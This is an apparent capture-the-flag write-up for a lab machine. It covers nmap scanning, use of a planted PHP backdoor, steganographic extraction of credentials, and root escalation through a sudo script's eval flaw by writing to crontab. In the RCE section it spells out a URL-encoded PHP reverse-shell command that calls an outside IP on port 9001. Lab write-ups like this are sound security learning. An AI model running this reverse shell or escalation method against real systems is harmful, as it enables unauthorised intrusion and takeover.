Port enumeration

nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.129.178.239 -oG AllPorts.txt
nmap -p22,80 -sCV --min-rate 5000 10.129.178.239

I only found 2 open ports, ssh and http. f12faadd1c52bf28372a52a935426f9d.png

Web enumeration

Using fuzzing, I found an interesting directory, assets. 64384459fb2893b9c952462214e6e5ed.png Inside assets, I found a index.php file. c1518587e86bc84476cc54c0d86f1f46.png This is extrange, so, I make some tests and i can see who it is a backdoor after sending commands with a get cmd. 1bbc5affb4db85fd1332204e4f4ff1bf.png 299813e7495d190d9d547f4a91b49309.png

RCE

Using this, I execute a reverse shell.

http://ua.thm/assets/?cmd=php%20-r%20%27$s=fsockopen(%22192.168.138.103%22,9001);proc_open(%22sh%22,[$s,$s,$s],$p);%27

a198c1752ff58855ce3a3e5ea66927cd.png

WWW-DATA enumeration

Soon, I found something interesting in the web directory. 027abb6575a0927b30587b0ec6c364cc.png And, inside it, something who looks like a base64. 207e1c162fa43008070c310c7408d076.png So, I whent to decode it. 899932519ee9a48d1f074d162fc78149.png Of course, it looks like a password who this man could use, but its not. 4dcca0df682d8a287ef8da303fca8e3d.png Its isa probably a passphrase for a key or something like that. Inside images, I also found a extrange image. aac937bb05be4c57c477061bee8fb145.png

Stego

Using wget, I extract this image.

wget http://ua.thm/assets/images/oneforall.jpg

Now, I use steghide to extract all the info.

steghide extract -sf oneforall.jpg

But, it call for a passphrase. f0d97ccb08f731e733fe286d4737d70d.png Now, I can use the passphrase found, I can extract the info inside the image. But, it hits an error. e33fc9ce61e9ebf02bc1ec4be7926293.png Using xdd, I can see who this file is a png, not a jpg.

xxd oneforall.jpg | head

8d3932a19dd9c59114fa85d004948a2e.png So, I need to change the magic number of the file to the magic file of a png with hexedit.

hexedit oneforall.jpg

865e5db9b514d7369ed7569e179e1510.png 6ecd5f3c43785685de4f6b42956940d9.png WIth this, now, I can make the extraction. 5716f7d976f4b9a8433aebb29e913b1f.png 1fe9fa746c875c9923c2e7d81de9722d.png He didnt deleted the file. WIth this, now, I can log as deku and read the user flag. 1a98a07817492ee2d5ba0ba7f01e80df.png

Privilege escalation

With sudo -l i can see who deku can use a bash script as sudo. 0912084a9cc07525ac55c3d066455259.png This app is vulnerable to RCE due to the insecure use of eval. 49d95bfd5590d97f4bcd1471d54fe473.png But also, have some filters who I need to bypass. fbd801e60211fe80dd2dc1db7702fa22.png This script allows me to write files as sudo. 5627291321134b0a02c11d3f0aa8a372.png So, I will write a script in crontab. d710b7ebda519b72699dd942d2847156.png With this, Im able to execute bash as sudo. fc9245267cb087f0e0b84536878dfe4e.png a4120eb4006770c8bac43989c7551bc9.png And with this user, read the flag. 14b49e7a05d87a22be55ea4259b50402.png